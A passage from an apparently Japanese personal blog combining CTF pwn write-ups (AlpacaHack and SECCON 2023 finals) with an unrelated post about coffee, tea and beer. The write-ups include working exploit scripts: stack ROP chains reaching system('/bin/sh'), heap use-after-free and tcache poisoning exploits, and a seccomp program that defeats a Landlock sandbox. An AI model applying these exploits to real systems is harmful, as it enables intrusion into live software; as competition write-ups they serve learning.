68 7a 00 00 00 00 00 00 00 00 00 00 c0 45 00 2e 68 7a 00 00 d0 bc a7 74 ff 7f 00 00 7b 84 e8 2d 68 7a 00 00 08 be a7 74 ff 7f 00 00 01 00 00 00 00 00 00 00
今回はwin関数が無いので、pwnする際にはsystem("/bin/sh")をするためにlibcアドレスのリークが必要になる。以下のsolverでは、第一段階でcanaryを避けながらmainにretをしつつ、さらにstack上に落ちているlibc_start_mainのアドレスをリークしlibcアドレスを得る。その上で二ターン目において system("/bin/sh") に対応するROPを行う(今回はcanaryもリークできているはずで避ける必要もないが避けている)。
from ptrlib import * binary = "./hexecho" elf = ELF(binary) """ libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") """ libc = ELF("./libc.so.6") r = Socket("nc 34.170.146.252 51786") # """ def wait_for_attach(): if not is_remote: input('attach?') def sla(*args): r.sendlineafter(*args) buf = b"ABCDEFGH" * (264 // 8) payload = buf.hex() + "\n" payload += "+\n" * 8 rop = [ next(elf.gadget("ret")), elf.symbol("main") ] payload += p64(0xdeadbeef).hex() payload += b''.join(map(p64, rop)).hex() payload += "+\n" * 8 sla("Size:", str(len(buf) + 8 + 16 + 8 * len(rop))) sla("Data (hex): ", payload) l = r.recvlineafter(": ").decode("ascii") l = l.split(" ")[-8:] libc_ret = 0 for x in l[::-1]: libc_ret *= 256 libc_ret += int(x, 16) print("libc_ret:", hex(libc_ret)) # libc.base = libc_ret - 0x2a1ca libc.base = libc_ret - 0x10d90 - 25 * 0x1000 # phase 2: buf = b"HOGENEKO" * (264 // 8) payload = buf.hex() + "\n" payload += "+\n" * 8 rop = [ next(libc.gadget("ret")), next(libc.gadget("pop rdi; ret")), next(libc.find("/bin/sh")), libc.symbol("system") ] payload += p64(0xdeadbeef).hex() payload += b''.join(map(p64, rop)).hex() payload += "+\n" * 8 sla("Size:", str(len(buf) + 8 + 16 + 8 * len(rop))) sla("Data (hex): ", payload) r.sh()
Second Blood (微妙に24.04との環境差で苦しんでいた時間で捲くられて悔しい。カスだから最後 libc_start_main のオフセット分からなくてブルートフォースした。なんで?)
deck
ヒープ問。トランプのカードのデッキをシャッフルし、そのトップに有るカードを当てるゲームが実装されており、ユーザーはゲームプレイの他、シャッフルアルゴリズムの変更とユーザー名の変更が可能になっている。
typedef unsigned short card_t; typedef struct _game_t { void (*shuffle)(card_t*); card_t *deck; char *name; } game_t; /** omitted **/ void shuffle_knuth(card_t *deck) { size_t i, j; for (i = DECK_SIZE; i > 0; i--) { j = rand() % (i + 1); // off-by-one!! swap_cards(deck, i, j); } } void game_play(game_t *game) { printf("Challenger: %s\n", game->name); game->shuffle(game->deck); /** omitted **/ } void main() { /** omitted **/ puts("1. Play a game\n" "2. Change shuffle method\n" "3. Change your name"); switch (getval("> ")) { case 1: game_play(game); break; case 2: /** omitted **/ case 3: { char *name; size_t len = getval("Length: "); if (len > 0x1000) { puts("[-] Invalid length"); break; } if (!(name = (char*)malloc(len + 1))) { puts("[-] Cannot allocate memory"); break; } getstr("Name: ", name, len); free(game->name); game->name = name; break; } default: game_del(game); return 0; }
カード情報は、以下のように2バイト整数で管理されており、
#define MAKE_CARD(suit, rank) ((((suit)) << 8) | (rank)) #define CARD_SUIT(card) ((card_t)(card) >> 8) #define CARD_RANK(card) ((card_t)(card) & 0xff)
これらのゲーム情報がゲーム開始時にmallocを用いて以下のように初期化される。
game_t* game_new() { game_t *game; char *name = NULL; card_t *deck = NULL; if (!(deck = (card_t*)malloc(sizeof(card_t) * DECK_SIZE))) goto err; if (!(name = strdup("Human"))) goto err; if (!(game = (game_t*)malloc(sizeof(game_t)))) goto err; for (size_t i = 0; i < DECK_SIZE; i++) deck[i] = MAKE_CARD(i / 13, i % 13); game->deck = deck; game->name = name; game->shuffle = shuffle_naive; srand(time(NULL)); return game;
脆弱性は、上述の shuffle_knuthのoff-by-oneで、52番目の要素までswapしてしまう。上のゲーム初期化パートを見ると、ヒープ領域は以下のような順序で配置されている。
pwndbg> x/40gx 0x1f4b290
0x1f4b290: 0x0000000000000000 0x0000000000000071
/** cards **/
0x1f4b2a0: 0x0003000200010000 0x0007000600050004
0x1f4b2b0: 0x000b000a00090008 0x010201010100000c
0x1f4b2c0: 0x0106010501040103 0x010a010901080107
0x1f4b2d0: 0x02010200010c010b 0x0205020402030202
0x1f4b2e0: 0x0209020802070206 0x0300020c020b020a
0x1f4b2f0: 0x0304030303020301 0x0308030703060305
0x1f4b300: 0x030c030b030a0309 0x0000000000000021
/** strdup("Human") **/
0x1f4b310: 0x0000006e616d7548 0x0000000000000000
0x1f4b320: 0x0000000000000000 0x0000000000000021
/** game_t **/
0x1f4b330: 0x000000000040143a 0x0000000001f4b2a0
0x1f4b340: 0x0000000001f4b310 0x0000000000020cc1
したがって、cardsの一つ先の2バイトは、"Human"バッファのヒープ管理領域で長さを表す部分であることが分かる。すなわち、いい感じのswapが起こると次のバッファのサイズを大きくすることができると分かる。実際には、上述のように2バイト整数で管理されているMSBから2バイト目はsuitを表しており、これは0~3であり、1バイト目は0~12なので、1/4の確率でバッファサイズ0x200とかになるイメージである(実際にはis_mappedがついているかなども重要になる)。 少し頑張ると確率をあげることも可能だが、大した確率ではないので今回は0x200に固定した場合のみを考えた。
Humanのバッファの長さを大きくできるようになったので、次にこのバッファと名前の変更機能を用いてヒープバッファーオーバーフローを行う。今回のバイナリは以下のようにNo PIEだったので、
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
まずはGame構造体のshuffle関数をputsに書き換えたうえでcardsをprintf_got_addrにして、libcアドレスリーク、その上で同じプリミティブを用いて system("/bin/sh") を行った
full exploitは、GitHubを参照
sizes = [] #sizes.append(0x10) for i in range(6): sizes.append(0x10 * i) sizes.append(0x70) sizes.append(0xf0) #sizes.append(0x80) for size in sizes: ch_name("A" * size) ch_method(2) play(1, 1) ch_name("A" * 0x10) wait_for_attach() print("come on") ch_name("A" * 0x8) print("nice") ch_name("A" * 0x8) print("cool") # libc_leak payload = [ 0xdead, 0xbeef, 0, 0x21, puts, printf_got] payload = flat(payload, map=p64)[:-1] ch_name(payload, 0x1f0) r.recvuntil("3. Change your name") sla(">", "1") r.recvlineafter('Challenger:') res = r.recvline() sla(": ", 1) sla(": ", 1) l = r.recvlineafter("card: ") printf = libc.symbol("printf") libc.base = just_u64(res) - printf print("libc_base:", hex(libc.base)) wait_for_attach() system = libc.symbol("system") binsh = next(libc.find("/bin/sh")) assert(printf is not None) assert(system is not None) # overwrite ## free ch_name(b"A" * 0x250) payload = [ 0xdead, 0xbeef, 0, 0x21, system, binsh] payload = flat(payload, map=p64)[:-1] ch_name(payload, 0x1f0) r.recvuntil("3. Change your name") sla(">", "1") r.sh()
todo
かなり典型的な形のC++ノート問。std::stringや std::vectorが絡むのでちょっと筋肉がいる。以下が問題のソースコード
#include <iostream> #include <vector> int main() { size_t choice, index; std::string todo; std::vector<std::string> todo_list; std::cin.rdbuf()->pubsetbuf(nullptr, 0); std::cout.rdbuf()->pubsetbuf(nullptr, 0); std::cout << "1. add" << std::endl << "2. show" << std::endl << "3. edit" << std::endl << "4. delete" << std::endl; while (std::cin.good()) { std::cout << "> "; std::cin >> choice; switch (choice) { case 1: // add std::cout << "TODO: "; std::cin.ignore(); std::getline(std::cin, todo); todo_list.emplace_back(todo); break; case 2: // show std::cout << "Index: "; std::cin >> index; if (index >= todo_list.capacity()) { std::cout << "[-] Invalid index" << std::endl; break; } std::cout << "TODO: " << todo_list[index] << std::endl; break; case 3: // edit std::cout << "Index: "; std::cin >> index; if (index >= todo_list.capacity()) { std::cout << "[-] Invalid index" << std::endl; break; } std::cout << "TODO: "; std::cin.ignore(); std::getline(std::cin, todo_list[index]); break; case 4: // delete std::cout << "Index: "; std::cin >> index; if (index >= todo_list.capacity()) { std::cout << "[-] Invalid index" << std::endl; break; } todo_list.erase(todo_list.begin() + index); break; default: return 0; } } return 0; }
機能は
1. 好きな長さの文字列を std::cinで受け取って todo_list vectorに追加
2. todo_list のindexを指定して文字列を表示
3. todo_list のindexを指定して文字列を編集
4. todo_list のindexを指定して文字列を削除
脆弱性はindexが範囲内にあるかが todo_list.capacity()にあるかで判断している点(sizeであるべき)。したがって、vectorのサイズが縮まない限りはfree後の文字列へのUAFが可能。
残りはゴリゴリのC++ heap pwn。基本方針は
1. UAFで、tcacheのfdからヒープのアドレスをリーク(libcが2.35なのでencodeに注意)
2. 同じ要領で0x500くらいのバッファを使ってunsorted binsにつながったバッファのUAFでlibcアドレスをリーク
3. 次に、tcache poisoningを利用して、todo_list vectorと同じヒープバッファをstd::stringとして取得し、一番目の要素を environ に変更。 show(0)を通してstack address leak
4. tcache poisoningを用いてret addressを指すバッファを取得し、ROPのペイロードを送る
5. (ちゃんとfreeができるような)fake chunkを多数作って、todo_listのstringたちの持つバッファをそれらのfake chunkを指すように変更
6. mainからreturnしてRCE
という流れ。5が必要なのは、std::vectorのデストラクタが最終的に自分の持っているバッファをfreeし始めるが、3や4をしている段階でfreeできない(freeすると落ちる)ようなバッファをどうしても作ってしまうので、辻褄合わせのため。
スクリプトはGitHub上に乗せたのでブログ上は長いため割愛。 https://github.com/moratorium08/ctf_writeups/tree/master/2024/alpacahack_1/todo
Third Blood
感想
最近、pwndbg/gefやptrlib、roprなどの新しいツーリングへの移行を行い、シェル周りの環境も整備したCTF用VMをUbuntu 24.04環境にて用意していたのだが、問題が軒並み22.04のlibcを使っていたので、挙動差に苦労した(いや最初から合わせろという話なんですが...)。特にtodoに対するスクリプトが結局remoteで動かず(人はなぜダメ元でこういうことをしてしまうのか)、泣く泣く古き良きgdb-pedaの入った環境を取り出してきて、こちらで todoとdeckを解いた。やはり老人のツーリングから逃げられないらしい。
個人戦CTF6時間は結構体力持ってかれるが、久々に元気出したなという感じだった。問題も(6時間個人コンテストと考えると)かなりちゃんとしていて(Cake並?RTACTF以上?みたいなイメージ)、これを毎月とか開催するのはさすがのptr-yudaiでもきついんじゃないかという気がするが、無理のない範囲で定期開催されていると嬉しい。
あとはAlpacaHackがもっと大きくなって、初回の結果を10年後とかに擦れると嬉しいかな。keymoon先生全力応援
*1:minaminaoさんもメイン開発者らしい。実のところ誰が作っているのかよく把握していない
今年飲んだもの(コーヒー、紅茶、ビール)
幅広く色々飲んだなと思ったので簡単にまとめる。
コーヒー
ほぼ毎日飲む。メインはハンドドリップだが、たまにマキネッタ、エアロプレス、エアロプレス with Prismoなど。マキネッタ等でエスプレッソめに入れて、トニックウォーターで割ったエスプレッソトニックを夏にやったが良かった。

基本的に豆は、深煎りが嫌いなわけではないが、バリエーションの多さが好きで浅煎り派なので、もっぱら浅煎りの豆を買ってきて飲んでいる
以下が今年飲んだ豆の(一部)

課金すれば基本うまいがちだが *1、そこまで高くなくて美味しかったなと最近思ったのはエルサルバドルのEL SAUCEと名前付けされていた豆 *2。 パカマラ種と呼ばれるエルサルバドルで人工交配されて作られた品種らしいが、割りと僕好みのフルーツらしさのある味わいだった。
最近の気づきだが、文京区の水のせいではないかと疑っている現象として自宅ではどうも抽出がアンダーめになる気がしていて、実家に返ってくると、同じ豆でもこんな味だったっけとなるときがある。実家と器具も違うのでファクターが水とは限らないが、来年は多少水にもこだわって遊んでみたい。
ちなみに、カフェイン過多を気にして1日朝1杯を目指しているが、しばしば眠い or 糖分が欲しい or 外に散歩に行きたいときに、大学構内になるスタバで、ラテやマキアート系を飲んでいた。特に、order & payで雑にスマホで注文できる機能を使い始めてから、オタク的には難しかった色々なシロップ・ソースの追加を行うことがボタンだけで簡単にできることを知り、1ヶ月間ほどこれで味をめちゃくちゃにして遊んで飲むのがブームになっていた。店員の方には申し訳なかったと思う。
ちなみにスターバックスのポイントがかなり溜まってそろそろ部分的に失効しだすので使わないといけないなと思っている

そういえば、シアトルに行ったのでスタバ一号店にも来訪しました。

(クラフト)ビール
酒は基本ビールしか飲んでいない。が、そもそもそんなに酒を飲まない *3
KMCアドベントカレンダーを読んでいたら見つけたutgwkkさんの書いたスニペット (今年飲んだビール - 私が歌川です) を使ってuntappdに登録されている情報を抽出した今年のんだビールリスト。
重複した場合は多分書いてなかったり、有名どころのビールの場合も書いてないので、大体こんなもんかなという感じ。が、しばしば酒飲むとその後何飲んだか忘れてメモれないことがあるので、ちゃんと飲んだときにuntappdするかせめて写真だけでも撮っておこうという感情にN回なった記憶があるので少し足りないかも *4。思い出せるところだと、苗場飲んだ越後ビールとか、宮島のビールとか入ってないので後で雑に入れておくか。
好きなものリストは以下のような感じ

ただHazyが好きなだけやん、点数を飲んでる などのツッコミはご遠慮ください(そうです)。
悲しかったのは、今年シアトルいったときに雑にスーパーで買って日本に持って帰ってきたビールがまずかったこと。2本買ってきたんだけどその絶望がやばすぎて未だに(3ヶ月たってなお)1本冷蔵庫にある。もう絶望したくないから誰か飲んでくれ

紅茶
紅茶はあんまりわからないが、最近 mariage freresのアドベントカレンダーで、フレーバーティーを色々試してみるということをした *5

当初は朝にアドベントカレンダーをしていたが、そうすると1日のカフェイン量がなんか足りない気がしていて研究に差し障るので、朝はコーヒーに戻し、夜に帰宅後に紅茶を飲むようにした。結果的にカフェインが体に触ったのか昼夜逆転が深刻化した *6
これをやった結果、僕はフレーバーティーより浅煎りコーヒーでバリエーションを感じるほうが好きだなと思ったので、多分今後もコーヒー派を続けると思う。家にはマルコポーロあたりを置いておくだけにする。ちなみに結構きれいに撮れた写真を雑においとこ。これはBALTHAZARというやつ *7

僕が好きだったと思ったお茶を強いて一つ上げるならば、TOKYO RHAPSODY。個人的にはスパイスの効いたお茶よりも白茶の系のほうが好みかもしれないなとは思った。(TOKYO RHAPSODY自体はwhite teaではあるものの結構明るい色だった)
その他
他に何飲んだかな。日本酒、ワインは本格的に味の違いを覚えてられないんだよね。傾向か、"本当に飲みたくないやつだった"という足切りラインを超えていたかどうかしかわからん。 ウイスキー系も多少種類を飲んだが、「スモーキーだね...(笑)」くらいしか分からん。
酒でもコーヒーでも誘われたら行くので来年も誘ってください。ちなみに直近行きたいと思っているところとして 蔵前のLonichというコーヒー店があるので誰か一緒に行ってください *8。奢ってくれるとなお嬉しい(適当)
*1:神保町のglitch coffee考えてみると今年はあまり行ってないな
*3:要出典
*4:実は年末にiPhone 8からオタクしか使わないということで有名のPixel Foldに移行したが、untappdの登録を酒の席で雑にした結果Apple loginが採用されており、Androidでうまくログインができず困っている。誰か助けてくれ
*5:ここ2年間くらいやってみたいと思っていながら、気づくのが12月中盤というのを繰り返していたので今年はできてよかった。もう来年以降はやらない気がする
*6:生活習慣の乱れを紅茶のせいにするな
*7:TsukuCTFのユーザーネームに使った。これがOSINT500点です
*8:前にオタクを誘ったらさすがにコーヒー飲むのに5000円は...みたいな感じで断られて泣いていた
SECCON 2023 finals writeup (babyheap 1970, Datastore2, landbox) と感想

チーム「:(」として国内の決勝に出ていました。 結果はチームメンバーがとても強かったこともあり、国内決勝ながら *1 優勝することができました。よかった。

チーム:)は、予選は potetisensei と icchyさん の二人チームだったが、本選から私と ngkzさん が合流する形で、4人で本選に出ました *2。
チームとして解いた問題は以下の通り。
チーム構成が、バイナリ大好きオタクたち(poteti, ngkz, mora)とWeb大好きオタクicchyさんというやや偏りのあるメンバー構成だったのでcryptoを見る人間が誰もいなかった。チームのムーブとしては、potetisenseiがなんでも係を担当しておりメキメキと問題を解き、icchyさんがWeb、ngkzさんがハードウェアとバイナリ系、僕はバイナリ系を見るみたいなことをしていた*3。各位が流石の強さだった。
僕自身は、babyheap 1970を解いた最初の3時間半がピークで、あとはほとんどひたすらDatastore 2に苦しんでいた。個人的にDatastore 2は1日目夜には解けると思っていて(実際解けるべきだったが)、かなりそこは悔しい。本当は1日目夜には終わらせて最終日はelk (or WkNote?)と格闘したかった。

大会としては、問題の質が、運営が変わってからのCTFとしては"いつも通り"よかったが、これを維持するのは本当に大変なことだと思うので感謝しかない。最近あまりCTFしていない人間が作問するのは悪だと思っていてその意味ではSECCONで僕が作問すべきではないと思ってはいるものの、もし本当に問題足りなくなりそうだったらいつでも行くので言ってください(とはいえptr-yudaiがいるからpwnが足りなくなることはないんですね)。SECCON全体は見ていないからよくわからないが、盛況だったようで何より。来年以降も継続していくのは本当に骨が折れると思うんですが、できる限り続くと外野としては嬉しいですね。スポンサーもいつもありがとうございます *4
以下は作問者に感謝の文です(解いた問題のwriteupです)。
- [Pwn 240] Babyheap 1970 (5 solves)
- [Pwn 388] Datastore 2 (2 solves)
- [Misc 388] landbox (2 solves)
- 感想
[Pwn 240] Babyheap 1970 (5 solves)
問題設定
Pascalで書かれた謎のプログラムが渡される。デフォルトでVSCodeではsyntax highlightingが効かなくてその意味でも1970年に戻ったつもりで解いた。サービスとしては以下のreallocとeditのどちらかを4つのノートに対して行うことができる。
procedure realloc(); var id : integer; begin id := get_id(); g_size[id] := get_size(); setLength(g_arr[id], g_size[id]); end; procedure edit(); var id : integer; index : integer; begin id := get_id(); index := get_index(id); write('value: '); flush(output); read(g_arr[id][index]); end;
バグは、境界検査で、配列の要素を1個外側まで配列外参照できてしまう。
function get_index(id : integer): integer; var index : integer; begin write('index: '); flush(output); read(index); if (index < 0) or (index > g_size[id]) then begin writeln('Index out of range'); halt(1); end; get_index := index; end;
解法
あとは、やるだけそうだが、Pascalのバイナリの中で何が起きているのかさっぱり分からずheap allocatorがどうなっているのかも何も知らなかったのでそこからのスタートだった。が既にもうだいぶ忘れた。この類の変な言語問は多分上手で、普通に処理系guessだけで解けてしまったので素早く解けたし、結果どういう仕組みだったのかがわからないとも言う*5。
雑に覚えていることとDiscordに書いたメモを振り返ると、大体わかっていることは次の通り、
- heapのアルゴリズムは、言語処理系にありがちな、チャンクサイズごとにmmapをして、初期化時にfree listを構築するようなallocator。ただし、なぜか領域でサイズを判断するのではなく、サイズ情報がチャンクの中に埋め込まれている。
- この埋め込まれた情報をもとにreallocで行われている、
setLengthにおけるリサイズの判断が行われている - 整数型integerは16bits
reallocは大きくなる方向にしか走らない(?)模様で、デフォルトの0x20から広げて大きさ0x60のチャンクのfreelistのfdを書き換えるとmallocがいい感じに走りあとは自由なchunkが得られる。このために
- 3のバッファをサイズ0x60になるようにrealloc
- 4のバッファをその下にくるように即realloc
- 3のバッファのbuffer overwriteで、サイズ情報を0x80にする
- 4のバッファを、reallocして44にすると、heap上は0x80程度あればよく既に0x80あることが分かるので、reallocされない。かつ長さ情報が44になるので、4のバッファが好きにoverwriteできるようになる
- これを用いて4の次のfreelistにつながっているバッファのfdを好きなアドレス(victim)に書き換え(今回は、これらのバッファを管理している配列
g_arr : array[0..3] of array of integer;のポインタに向ける) - 二度size36で、reallocしてvictimへのバッファを確保
でAAWをする
# 工程1, 2 realloc(target, 36) realloc(target+1, 36) # 工程3 edit(target, 36, 0x8081) # 工程4 realloc(target + 1, 44) # これいる?よく覚えてない edit(target + 1, 36, 0x8061) edit(target + 1, 37, 0xf) # 工程5 edit_64(target + 1, 40, victim_addr) #edit_64は単に1回に16bits # 工程6 realloc(d, 36) realloc(a, 36)
AAWは得られたが、AARを得るのは無理そうだったのでstack書き換えによるROPはきつそうとなる。ただ、PIEであって、Pascalは謎に関数ポインタを色々使っていそうなので、なんかいい感じのポインタを上書きしつつstack pivotしてROPすれば良さそうという気持ちになる。 とりあえずよく分からないので、適当に書き換えると性質よくRIPが取れそうな場所を探すと(以下は探していたときの残骸)
# addrs = [0x425680, 0x425590, 0x425458, 0x425270, # 0x425990, 0x426b70, 0x426bd8, 0x426cd0, 0x42e9a8] # addrs = [0x00430000] addrs = [0x00430000] avoid = [0x140] for base in addrs: for i in range(0x140, 0x168): if i in avoid: continue if i == 0x167: val = gadget else: val = i addr = base + i*8 print(hex(i), hex(addr)) # set(addr, 4199360) set(addr, val) realloc(0, 40)
0x00430000 + 0x167 * 8 あたりが良さそうということがわかる(edit中は発火せず、reallocするときに初めて発火する場所を探せば良い)。
後はどこに書き換えるか?だが、この場所で発火するときのレジスタを見ていると、
[----------------------------------registers-----------------------------------]
RAX: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
RBX: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
RCX: 0x38061
RDX: 0x1
RSI: 0xb0
RDI: 0x430980 --> 0x0
RBP: 0x7ffd6b40f3e0 --> 0x7ffd6b40f400 --> 0x7ffd6b40f420 --> 0x0
RSP: 0x7ffd6b40f2a8 --> 0x41a6cb (lea rsp,[rsp+0x8])
RIP: 0x423800 (js 0x42380a)
R8 : 0x7fffffffffffffff
R9 : 0x7
R10: 0x7ffd6b40f070 --> 0x3433383438353600 ('')
R11: 0x246
R12: 0xe0
R13: 0x58 ('X')
R14: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
R15: 0x7
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
のようにrdiは基本的に良さそうで、 0x4022ab: mov r15, qword [rdi+0x28] ; mov rsp, qword [rdi+0x30] ; jmp qword [rdi+0x38] ; (1 found) という謎ガジェットがあるのでこれを使った。*6
今回のプログラムはstatically linkedなのでsyscallを使ってsigreturnすれば良い。
最終的なスクリプト: ctf_writeups/2023/seccon_finals/babyheap_1970/solve.py at master · moratorium08/ctf_writeups · GitHub
ちなみに、pwntoolsがローカルの自分のパソコンに入ってなくて、自分でフラグが獲得できなくて泣いていた
[Pwn 388] Datastore 2 (2 solves)
とても苦しんだ問題。
問題設定
この問題は予選の方で出たDatastore 1の改定版で、とりあえずdiff を見ると、
- 元々あったindexのバウンダリー検査の脆弱性が無くなる
- arrayの中身を再帰的に削除する機能が追加
- コピー機能が追加
- 文字列の参照カウント機能の追加
- 文字列の更新機能がなくなり、更新は削除->作成が行われる
あたりが起きていることがわかる。この時点で予選のwriteupを引っ張り出してきたが、思い出すのに苦労した上に全く使えないことが分かり萎える。
解法
改めてソースコードを眺めてみると、refcntが露骨にuint8_tで定義されており、integer overflowをしてくださいと言わんばかりである。これが実際存在する唯一の脆弱性だった。arrayをいい感じにコピーしていけば、簡単に256回の文字列のコピーができる。つまり、文字列のUAFができる。これと、str_tと長さ1のarrayの0番目のdata_tのintの値の場所が一致することを用いると、任意のアドレスのreadと、任意のバッファのfreeが可能になる。
問題はwriteのprimitiveでどこを書き換えてPCをとるかで、こんなもんすぐにできるだろと思っていたら一生できず本当に禿げました。後から考えてみるとかなり無意味な苦労をしていた。とりあえずめんどいポイントとして
scanf("%70m[^\n]%*c", &buf);でヒープが確保される。これの挙動をよく理解していなかったが、malloc(0x70)して確保されたバッファにデータを書き込み、その後で書き込んだ文字数が入る程度にrealloc(n)をして縮める。この縮める操作が面倒で、"%70mの文字列長の制約上必ずreallocのresizeが走ってしまうのでstack上への書き込みをtcache poisoningでしようとすると、そのタイミングで制約違反になる- 整数書き込みを用いると好きな値を書き込めるが、書ける場所が16の倍数のアドレスに限定された上で、そのアドレス-8の場所に変な値(型タグ)が書き込まれる
- fakeなarrayを作ると、16の倍数でないところにも書き込めるが、書き込む前に、そのアドレス-8の場所に適切な型タグが書き込まれていないとexitしてしまう
がある。この制約により意外と面倒が多く色々な手法を試してはダメだを繰り返していた(上述の制約に最初に気づかずstack上のROPのpayloadをscanfを通してしようとする、Arrayを通してexit_funcsを書き換えようとする、initialのnextを書き換えようとする *8、いい感じにタグを回避しながらROPするガジェットを探す、etc)。最終的にもう無理やねんと言って上の制約をpotetisenseiに説明してアイデア募集したら、saved rbpを上書きしてstack pivotできるんじゃね?と言われ(ちなみにretアドレスはalignment制約上だめ)、確かにそれはありだなとなり実際やってみたらうまく動いた。sasuga...

あまりこの思考にならなかったのはなぜか後から考えていたが普通に考えてsaved rbpだけ書き換えられるがROPはうまくできない状況がまあまあ珍しいのと(alignment制約自体はたまにある気がするが大抵なんとかなる)、適切にstack canaryが入っていないことが大事 ((今回は関数mainの中に char buf[xx] のようなバッファがなく、コンパイラがmainにstack canary checkを配置していなかったので大丈夫だった)) だったので、まあまあレアなケースかなとは思う(が思考から外しているのは謎だった)
やることとしては、
- strでfake chunkを作って、
- 上でleakした仕組みでそのchunkをfree、
- このチャンクを用いてtcache poisoningをして、
- editのrbpを書き換えてmainからretして、stack pivotで終わり
というかなり典型的なheap風水*9。改めて見返すと、かなり一日目に解き終わるべきだった気がするが、internationalでも4 solvesだった状況を考えてもまあまあめんどめ(or ハマるタイプ)のheapだったと思うので許していただいて、、*10
最終的なスクリプト: ctf_writeups/2023/seccon_finals/Datastore2/solve.py at master · moratorium08/ctf_writeups · GitHub
ちなみに結構非効率なtcacheのclear outなどをしているので動作が遅かった。実はこれは結構問題で、問題文中で alarm(60) と書かれているのに、実はタイムアウトが30秒に設定されており、リモートでフラグを取るのに失敗していた。これについて運営に文句を言ったところ、先に解いていた(!)TSGが許してくれた*11 ので、タイムアウトが適切に直され、無事このスクリプトで通すことができた。そうでなかった場合、虚無のPoC最適化が必要だったので、この点も感謝の限り...
elk、見たかったな〜。毎回何らかの問題に詰まってしまって反省している
[Misc 388] landbox (2 solves)
Datastore2でつらくなっているときに息抜きとして見た問題。
LandlockというLinux謎機能でプロセスに制限をかけた上で、 /readflag をするというプログラムが与えられる
void give_up_flag(void) { int abi, ruleset_fd; struct landlock_ruleset_attr *ruleset_attr = &default_landlock_ruleset_attr; abi = landlock_create_ruleset(NULL, 0, LANDLOCK_CREATE_RULESET_VERSION); assert (abi >= 0); switch (abi) { case 1: ruleset_attr->handled_access_fs &= ~LANDLOCK_ACCESS_FS_REFER; __attribute__((fallthrough)); case 2: ruleset_attr->handled_access_fs &= ~LANDLOCK_ACCESS_FS_TRUNCATE; } ruleset_fd = landlock_create_ruleset(ruleset_attr, sizeof(*ruleset_attr), 0); assert (ruleset_fd >= 0); assert (!prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)); landlock_restrict_self(ruleset_fd, 0); } int main() { give_up_flag(); read_flag(); return 0; }
Landlock: unprivileged access control — The Linux Kernel documentation あたりのドキュメントを読むと、かなり正しい実装をしていそうに見える。少なくともフィルターの書き方は正しいそうだし、そもそもlandlock_add_ruleをしていないので「何も読めない」プロセスになってから read_flag が呼ばれる実装の模様で、これを突破できるとするとlandlockの仕組み自体が破滅しているということになってしまう。困った。
という状態で give_up_flag をよく見てみると、怪しい箇所として landlock_restrict_self のエラーハンドリングが行われていない。このシステムコールが失敗するならば、単に制限が何もかかっていないプロセスになるので、これを失敗させようという気持ちになる。manを見てみると landlock_restrict_self が失敗しうる状態は以下の通り
landlock_restrict_self() can fail for the following reasons:
EOPNOTSUPP
Landlock is supported by the kernel but disabled at boot
time.
EINVAL flags is not 0.
EBADF ruleset_fd is not a file descriptor for the current
thread.
EBADFD ruleset_fd is not a ruleset file descriptor.
EPERM ruleset_fd has no read access to the underlying ruleset,
or the calling thread is not running with no_new_privs, or
it doesn't have the CAP_SYS_ADMIN in its user namespace.
E2BIG The maximum number of composed rulesets is reached for the
calling thread. This limit is currently 64.
いくつか試してみたが実験上はうまく動かず頭をかかえていた *12
というところで、ふとseccompで landlock_restrict_self を禁止してしまえばいいじゃないかという気持ちになる。実はそれだけです。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <seccomp.h> #include <linux/landlock.h> #include <sys/prctl.h> #include<errno.h> int main() { int rc; scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); if (ctx == NULL) { perror("seccomp_init"); return -1; } rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(landlock_restrict_self), 0); if (rc < 0) { perror("seccomp_rule_add"); seccomp_release(ctx); return -1; } rc = seccomp_load(ctx); if (rc < 0) { perror("seccomp_load"); seccomp_release(ctx); return -1; } int x = execve("/readflag", NULL, NULL); perror("failed to run readflag"); return 0; }
話はここからで、これ取り組みさえすればすぐに解けることが"バレる"なと思ったが、1日目終了時点でまだ1 solveだったので、フラグ提出をちょっと遅らせるということをしていた

実際それが功を奏したのか(?)、最終的に2 solvesで388点を得ることができた。まあ正直この問題のポイント差はあんまり重要ではなかったが
感想
個人のパフォーマンスとしては、うまく行った問題1問とうまくいかなかった1問+普通の1問で、平均して期待値程度のパフォーマンスといった感じ。簡単なpwnを通す程度の能力を提供すると言ってチームに参戦したのでギリギリ許されたか...? 各位がメキメキと問題を通しており、さすがだなあと思いながら見ていたし、これワシが解かなくても勝てそうじゃないか?とも思っていた、特にDatastore2で発狂していたときには。
改めてになりますが、運営ありがとうございました。本当に楽しかったです。本選にも参加してよかったと思いました。正直全ての問題を楽しみ切る前にコンテストが終わってしまうので、いつもちょっともったいないなあとは思うんですが。
最後にお気持ちを書くと、正直老人としてTSGの枠を使うのは申し訳ないと言いながら、国内枠の優勝を取るのはちょっとまずいという説はあった、ほんまか。まあ僕は学生だから良いですか?ありがとう。icchyさんが優勝インタビューで話していたように、ちゃんと国際枠で戦うべきなんですが、普通にSECCONが良い大会になりすぎてなかなかウオですね。
*1:TSGらを抑えて
*2:予選はTSGで出ていたが、本選出るにあたっては、若者各位頑張って欲しいという感情が強いので(?)出んとこと思っていた。が、冷静になって考えてみると2人で出てたチームあったよなと思って声をかけた。急に押しかけてしまい、すみませんという状態。ありがとうございました
*3:とはいえ割りと分担が結局効いていた。例えばハードウェアのことがなんにも分からなかったので問題説明を聞いてワロタと思ってngkzさんに全てを任せてハードウェア部屋から帰ってきたら、すぐに颯爽とハードウェア問を解いて帰ってきたみたいな話がある。結局あの問題が一番なんだったのか分かっていない
*4:GMOからの副賞が、執行役員擁する我々のチームに贈られたのはちょっとウケた。僕はただの学生なのでありがたく使わせていただきます
*5:結果的にはコンパイラのソースコードも、バイナリのreversingもしなかったので、以下に書いているのは挙動からguessしたものです
*6:ちなみにpwnが下手なので普通にちゃんと探したが、いつも忘れるxchg rsp, raxでいい
